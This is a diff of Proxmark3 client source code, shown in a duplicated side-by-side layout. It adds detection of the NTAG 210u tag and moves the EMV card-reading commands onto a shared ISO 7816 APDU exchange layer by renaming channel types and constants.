snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 203 144bytes (NT2H0301F0DT)"), spaces, ""); snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 203 144bytes (NT2H0301F0DT)"), spaces, "");
else if (tagtype & NTAG_210u)
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210u (micro) 48bytes (NT2L1001G0DU)"), spaces, "");
else if (tagtype & NTAG_210) else if (tagtype & NTAG_210)
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210 48bytes (NT2L1011G0DU)"), spaces, ""); snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210 48bytes (NT2L1011G0DU)"), spaces, "");
else if (tagtype & NTAG_212) else if (tagtype & NTAG_212)
@ -1276,6 +1278,7 @@ uint32_t GetHF14AMfU_Type(void) {
else if (memcmp(version, "\x00\x04\x03\x02\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } else if (memcmp(version, "\x00\x04\x03\x02\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; }
else if (memcmp(version, "\x00\x34\x21\x01\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } // Mikron JSC Russia EV1 41 pages tag else if (memcmp(version, "\x00\x34\x21\x01\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } // Mikron JSC Russia EV1 41 pages tag
else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0B", 7) == 0) { tagtype = NTAG_210; break; } else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0B", 7) == 0) { tagtype = NTAG_210; break; }
else if (memcmp(version, "\x00\x04\x04\x01\x02\x00\x0B", 7) == 0) { tagtype = NTAG_210u; break; }
else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0E", 7) == 0) { tagtype = NTAG_212; break; } else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0E", 7) == 0) { tagtype = NTAG_212; break; }
else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x0F", 7) == 0) { tagtype = NTAG_213; break; } else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x0F", 7) == 0) { tagtype = NTAG_213; break; }
else if (memcmp(version, "\x00\x04\x04\x02\x01\x01\x0F", 7) == 0) { tagtype = NTAG_213_C; break; } else if (memcmp(version, "\x00\x04\x04\x02\x01\x01\x0F", 7) == 0) { tagtype = NTAG_213_C; break; }
@ -1520,7 +1523,7 @@ static int CmdHF14AMfUInfo(const char *Cmd) {
} }
// Read signature // Read signature
if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) { if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_210u | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) {
uint8_t ulev1_signature[32] = {0x00}; uint8_t ulev1_signature[32] = {0x00};
status = ulev1_readSignature(ulev1_signature, sizeof(ulev1_signature)); status = ulev1_readSignature(ulev1_signature, sizeof(ulev1_signature));
if (status == -1) { if (status == -1) {

View file

@ -64,6 +64,7 @@ typedef enum TAGTYPE_UL {
MAGIC_1A = 0x10000000 | MAGIC, MAGIC_1A = 0x10000000 | MAGIC,
MAGIC_1B = 0x20000000 | MAGIC, MAGIC_1B = 0x20000000 | MAGIC,
MAGIC_NTAG = 0x40000000 | MAGIC, MAGIC_NTAG = 0x40000000 | MAGIC,
NTAG_210u = 0x80000000,
UL_MAGIC = UL | MAGIC, UL_MAGIC = UL | MAGIC,
UL_C_MAGIC = UL_C | MAGIC, UL_C_MAGIC = UL_C | MAGIC,
UL_ERROR = 0xFFFFFF, UL_ERROR = 0xFFFFFF,

View file

@ -19,7 +19,7 @@
#include "ui.h" #include "ui.h"
#include "cmdhf14a.h" // manufacture #include "cmdhf14a.h" // manufacture
#include "protocols.h" // definitions of ISO14A/7816 protocol #include "protocols.h" // definitions of ISO14A/7816 protocol
#include "emv/apduinfo.h" // GetAPDUCodeDescription #include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "crypto/asn1utils.h" // ASN1 decode / print #include "crypto/asn1utils.h" // ASN1 decode / print
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);

View file

@ -19,7 +19,7 @@
#include "crc16.h" #include "crc16.h"
#include "cmdhf14a.h" #include "cmdhf14a.h"
#include "protocols.h" // definitions of ISO14A/7816 protocol #include "protocols.h" // definitions of ISO14A/7816 protocol
#include "emv/apduinfo.h" // GetAPDUCodeDescription #include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
#include "cmdnfc.h" // print_type4_cc_info #include "cmdnfc.h" // print_type4_cc_info

View file

@ -49,6 +49,7 @@ static void topaz_switch_on_field(void) {
} }
static void topaz_switch_off_field(void) { static void topaz_switch_off_field(void) {
SetISODEPState(ISODEP_INACTIVE);
SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0);
} }

View file

@ -15,18 +15,19 @@
#include "common.h" #include "common.h"
#include "pm3_cmd.h" // Packet structs #include "pm3_cmd.h" // Packet structs
#include "util.h" // FILE_PATH_SIZE #include "util.h" // FILE_PATH_SIZE
#include "iso7816/iso7816core.h" // SetISODEPState
#ifdef __cplusplus #ifdef __cplusplus
extern "C" { extern "C" {
#endif #endif
#ifndef DropField #ifndef DropField
#define DropField() { clearCommandBuffer(); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); } #define DropField() { clearCommandBuffer(); SetISODEPState(ISODEP_INACTIVE); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); }
#endif #endif
#ifndef DropFieldEx #ifndef DropFieldEx
#define DropFieldEx(x) { \ #define DropFieldEx(x) { \
if ( (x) == ECC_CONTACTLESS) { \ if ( (x) == CC_CONTACTLESS) { \
DropField(); \ DropField(); \
} \ } \
} }

View file

@ -56,12 +56,12 @@ static void ParamLoadDefaults(struct tlvdb *tlvRoot) {
TLV_ADD(0x9F4E, "proxmrk3rdv\x00"); TLV_ADD(0x9F4E, "proxmrk3rdv\x00");
} }
static void PrintChannel(EMVCommandChannel channel) { static void PrintChannel(Iso7816CommandChannel channel) {
switch (channel) { switch (channel) {
case ECC_CONTACTLESS: case CC_CONTACTLESS:
PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACTLESS (T=CL)")); PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACTLESS (T=CL)"));
break; break;
case ECC_CONTACT: case CC_CONTACT:
PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACT")); PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACT"));
break; break;
} }
@ -93,9 +93,9 @@ static int CmdEMVSelect(const char *Cmd) {
bool leaveSignalON = arg_get_lit(ctx, 2); bool leaveSignalON = arg_get_lit(ctx, 2);
bool APDULogging = arg_get_lit(ctx, 3); bool APDULogging = arg_get_lit(ctx, 3);
bool decodeTLV = arg_get_lit(ctx, 4); bool decodeTLV = arg_get_lit(ctx, 4);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 5)) if (arg_get_lit(ctx, 5))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIGetHexWithReturn(ctx, 6, data, &datalen); CLIGetHexWithReturn(ctx, 6, data, &datalen);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -143,9 +143,9 @@ static int CmdEMVSearch(const char *Cmd) {
bool leaveSignalON = arg_get_lit(ctx, 2); bool leaveSignalON = arg_get_lit(ctx, 2);
bool APDULogging = arg_get_lit(ctx, 3); bool APDULogging = arg_get_lit(ctx, 3);
bool decodeTLV = arg_get_lit(ctx, 4); bool decodeTLV = arg_get_lit(ctx, 4);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 5)) if (arg_get_lit(ctx, 5))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -201,9 +201,9 @@ static int CmdEMVPPSE(const char *Cmd) {
PSENum = 2; PSENum = 2;
bool APDULogging = arg_get_lit(ctx, 5); bool APDULogging = arg_get_lit(ctx, 5);
bool decodeTLV = arg_get_lit(ctx, 6); bool decodeTLV = arg_get_lit(ctx, 6);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 7)) if (arg_get_lit(ctx, 7))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -257,9 +257,9 @@ static int CmdEMVGPO(const char *Cmd) {
bool dataMakeFromPDOL = arg_get_lit(ctx, 3); bool dataMakeFromPDOL = arg_get_lit(ctx, 3);
bool APDULogging = arg_get_lit(ctx, 4); bool APDULogging = arg_get_lit(ctx, 4);
bool decodeTLV = arg_get_lit(ctx, 5); bool decodeTLV = arg_get_lit(ctx, 5);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 6)) if (arg_get_lit(ctx, 6))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIGetHexWithReturn(ctx, 7, data, &datalen); CLIGetHexWithReturn(ctx, 7, data, &datalen);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -362,9 +362,9 @@ static int CmdEMVReadRecord(const char *Cmd) {
bool leaveSignalON = arg_get_lit(ctx, 1); bool leaveSignalON = arg_get_lit(ctx, 1);
bool APDULogging = arg_get_lit(ctx, 2); bool APDULogging = arg_get_lit(ctx, 2);
bool decodeTLV = arg_get_lit(ctx, 3); bool decodeTLV = arg_get_lit(ctx, 3);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 4)) if (arg_get_lit(ctx, 4))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIGetHexWithReturn(ctx, 5, data, &datalen); CLIGetHexWithReturn(ctx, 5, data, &datalen);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -449,9 +449,9 @@ static int CmdEMVAC(const char *Cmd) {
bool APDULogging = arg_get_lit(ctx, 6); bool APDULogging = arg_get_lit(ctx, 6);
bool decodeTLV = arg_get_lit(ctx, 7); bool decodeTLV = arg_get_lit(ctx, 7);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 8)) if (arg_get_lit(ctx, 8))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIGetHexWithReturn(ctx, 9, data, &datalen); CLIGetHexWithReturn(ctx, 9, data, &datalen);
@ -541,9 +541,9 @@ static int CmdEMVGenerateChallenge(const char *Cmd) {
bool leaveSignalON = arg_get_lit(ctx, 1); bool leaveSignalON = arg_get_lit(ctx, 1);
bool APDULogging = arg_get_lit(ctx, 2); bool APDULogging = arg_get_lit(ctx, 2);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 3)) if (arg_get_lit(ctx, 3))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -600,9 +600,9 @@ static int CmdEMVInternalAuthenticate(const char *Cmd) {
bool dataMakeFromDDOL = arg_get_lit(ctx, 3); bool dataMakeFromDDOL = arg_get_lit(ctx, 3);
bool APDULogging = arg_get_lit(ctx, 4); bool APDULogging = arg_get_lit(ctx, 4);
bool decodeTLV = arg_get_lit(ctx, 5); bool decodeTLV = arg_get_lit(ctx, 5);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 6)) if (arg_get_lit(ctx, 6))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
CLIGetHexWithReturn(ctx, 7, data, &datalen); CLIGetHexWithReturn(ctx, 7, data, &datalen);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -841,15 +841,15 @@ static int CmdEMVExec(const char *Cmd) {
TrType = TT_VSDC; TrType = TT_VSDC;
bool GenACGPO = arg_get_lit(ctx, 10); bool GenACGPO = arg_get_lit(ctx, 10);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 11)) if (arg_get_lit(ctx, 11))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
CLIParserFree(ctx); CLIParserFree(ctx);
if (!IfPm3Smartcard()) { if (!IfPm3Smartcard()) {
if (channel == ECC_CONTACT) { if (channel == CC_CONTACT) {
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support. Exiting."); PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support. Exiting.");
return PM3_EDEVNOTSUPP; return PM3_EDEVNOTSUPP;
} }
@ -1463,13 +1463,13 @@ static int CmdEMVScan(const char *Cmd) {
bool GenACGPO = arg_get_lit(ctx, 9); bool GenACGPO = arg_get_lit(ctx, 9);
bool MergeJSON = arg_get_lit(ctx, 10); bool MergeJSON = arg_get_lit(ctx, 10);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 11)) if (arg_get_lit(ctx, 11))
channel = ECC_CONTACT; channel = CC_CONTACT;
PrintChannel(channel); PrintChannel(channel);
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
uint8_t filename[FILE_PATH_SIZE] = {0}; uint8_t filename[FILE_PATH_SIZE] = {0};
int filenamelen = sizeof(filename); int filenamelen = sizeof(filename);
@ -1478,7 +1478,7 @@ static int CmdEMVScan(const char *Cmd) {
CLIParserFree(ctx); CLIParserFree(ctx);
if (!IfPm3Smartcard()) { if (!IfPm3Smartcard()) {
if (channel == ECC_CONTACT) { if (channel == CC_CONTACT) {
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting"); PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting");
return PM3_EDEVNOTSUPP; return PM3_EDEVNOTSUPP;
} }
@ -1511,7 +1511,7 @@ static int CmdEMVScan(const char *Cmd) {
JsonSaveStr(root, "$.File.Created", "proxmark3 `emv scan`"); JsonSaveStr(root, "$.File.Created", "proxmark3 `emv scan`");
if (channel == ECC_CONTACTLESS) { if (channel == CC_CONTACTLESS) {
// iso 14443 select // iso 14443 select
PrintAndLogEx(INFO, "GET UID, ATS"); PrintAndLogEx(INFO, "GET UID, ATS");
@ -1868,22 +1868,22 @@ static int CmdEMVRoca(const char *Cmd) {
bool show_apdu = arg_get_lit(ctx, 2); bool show_apdu = arg_get_lit(ctx, 2);
EMVCommandChannel channel = ECC_CONTACTLESS; Iso7816CommandChannel channel = CC_CONTACTLESS;
if (arg_get_lit(ctx, 3)) if (arg_get_lit(ctx, 3))
channel = ECC_CONTACT; channel = CC_CONTACT;
CLIParserFree(ctx); CLIParserFree(ctx);
PrintChannel(channel); PrintChannel(channel);
if (!IfPm3Smartcard()) { if (!IfPm3Smartcard()) {
if (channel == ECC_CONTACT) { if (channel == CC_CONTACT) {
PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting"); PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting");
return PM3_EDEVNOTSUPP; return PM3_EDEVNOTSUPP;
} }
} }
// select card // select card
uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2;
SetAPDULogging(show_apdu); SetAPDULogging(show_apdu);

View file

@ -131,16 +131,6 @@ static const TAIDList AIDlist [] = {
{ CV_OTHER, "F0000000030001" }, // BRADESCO - Brazilian Bank Banco Bradesco { CV_OTHER, "F0000000030001" }, // BRADESCO - Brazilian Bank Banco Bradesco
}; };
//iceman: this logging setting, should be unified with client debug etc.
static bool APDULogging = false;
void SetAPDULogging(bool logging) {
APDULogging = logging;
}
bool GetAPDULogging(void) {
return APDULogging;
}
enum CardPSVendor GetCardPSVendor(uint8_t *AID, size_t AIDlen) { enum CardPSVendor GetCardPSVendor(uint8_t *AID, size_t AIDlen) {
char buf[100] = {0}; char buf[100] = {0};
if (AIDlen < 1) if (AIDlen < 1)
@ -275,90 +265,37 @@ struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2) {
return tlvdb_fixed(0x02, dCVVlen, dCVV); return tlvdb_fixed(0x02, dCVVlen, dCVV);
} }
static int EMVExchangeEx(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { static int EMVExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
uint8_t data[APDU_RES_LEN] = {0}; int res = Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, apdu, IncludeLe, 0, Result, MaxResultLen, ResultLen, sw);
*ResultLen = 0;
if (sw) *sw = 0;
uint16_t isw = 0;
int res = 0;
if (ActivateField) {
DropFieldEx(channel);
msleep(50);
}
// COMPUTE APDU
int datalen = 0;
if (APDUEncodeS(&apdu, false, IncludeLe ? 0x100 : 0x00, data, &datalen)) {
PrintAndLogEx(ERR, "APDU encoding error.");
return 201;
}
if (APDULogging)
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
switch (channel) {
case ECC_CONTACTLESS:
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
if (res != PM3_SUCCESS) {
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
if (res != PM3_SUCCESS)
return res;
}
break;
case ECC_CONTACT:
res = 1;
if (IfPm3Smartcard())
res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
if (res) {
return res;
}
break;
}
if (APDULogging)
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
if (*ResultLen < 2) {
return 200;
}
*ResultLen -= 2;
isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1];
if (sw)
*sw = isw;
if (isw != 0x9000) {
if (APDULogging) {
if (*sw >> 8 == 0x61) {
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
} else {
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
return 5;
}
}
}
// add to tlv tree // add to tlv tree
if (tlv) { if ((res == PM3_SUCCESS) && tlv) {
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen); struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
tlvdb_add(tlv, t); tlvdb_add(tlv, t);
} }
return res;
return 0;
} }
int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
return EMVExchangeEx(channel, false, LeaveFieldON, apdu, false, Result, MaxResultLen, ResultLen, sw, tlv); int res = Iso7816Exchange(channel, LeaveFieldON, apdu, Result, MaxResultLen, ResultLen, sw);
// add to tlv tree
if ((res == PM3_SUCCESS) && tlv) {
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
tlvdb_add(tlv, t);
}
return res;
} }
int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
return EMVExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == ECC_CONTACTLESS), Result, MaxResultLen, ResultLen, sw, tlv); int res = Iso7816Select(channel, ActivateField, LeaveFieldON, AID, AIDLen, Result, MaxResultLen, ResultLen, sw);
// add to tlv tree
if ((res == PM3_SUCCESS) && tlv) {
struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen);
tlvdb_add(tlv, t);
}
return res;
} }
int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t buf[APDU_AID_LEN] = {0}; uint8_t buf[APDU_AID_LEN] = {0};
*ResultLen = 0; *ResultLen = 0;
int len = 0; int len = 0;
@ -375,7 +312,7 @@ int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO
return EMVSelect(channel, ActivateField, LeaveFieldON, buf, len, Result, MaxResultLen, ResultLen, sw, NULL); return EMVSelect(channel, ActivateField, LeaveFieldON, buf, len, Result, MaxResultLen, ResultLen, sw, NULL);
} }
static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { static int EMVSelectWithRetry(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
int retrycnt = 0; int retrycnt = 0;
int res = 0; int res = 0;
do { do {
@ -402,7 +339,7 @@ static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, boo
return res; return res;
} }
static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) { static int EMVCheckAID(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) {
uint8_t data[APDU_RES_LEN] = {0}; uint8_t data[APDU_RES_LEN] = {0};
size_t datalen = 0; size_t datalen = 0;
int res = 0; int res = 0;
@ -434,7 +371,7 @@ static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *
return res; return res;
} }
int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) { int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) {
uint8_t data[APDU_RES_LEN] = {0}; uint8_t data[APDU_RES_LEN] = {0};
size_t datalen = 0; size_t datalen = 0;
uint8_t sfidata[0x11][APDU_RES_LEN]; uint8_t sfidata[0x11][APDU_RES_LEN];
@ -529,7 +466,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO
return res; return res;
} }
int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) { int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) {
uint8_t aidbuf[APDU_AID_LEN] = {0}; uint8_t aidbuf[APDU_AID_LEN] = {0};
int aidlen = 0; int aidlen = 0;
uint8_t data[APDU_RES_LEN] = {0}; uint8_t data[APDU_RES_LEN] = {0};
@ -625,11 +562,11 @@ int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen) {
return 0; return 0;
} }
int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0xa8, 0x00, 0x00, PDOLLen, PDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0xa8, 0x00, 0x00, PDOLLen, PDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
} }
int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0xb2, SFIrec, (SFI << 3) | 0x04, 0, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv); int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0xb2, SFIrec, (SFI << 3) | 0x04, 0, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
if (*sw == 0x6700 || *sw == 0x6f00) { if (*sw == 0x6700 || *sw == 0x6f00) {
PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
@ -638,11 +575,11 @@ int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uin
return res; return res;
} }
int EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
return EMVExchange(channel, LeaveFieldON, (sAPDU) {0x80, 0xae, RefControl, 0x00, CDOLLen, CDOL}, Result, MaxResultLen, ResultLen, sw, tlv); return EMVExchange(channel, LeaveFieldON, (sAPDU) {0x80, 0xae, RefControl, 0x00, CDOLLen, CDOL}, Result, MaxResultLen, ResultLen, sw, tlv);
} }
int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv); int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
if (*sw == 0x6700 || *sw == 0x6f00) { if (*sw == 0x6700 || *sw == 0x6f00) {
PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
@ -651,11 +588,11 @@ int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *
return res; return res;
} }
int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
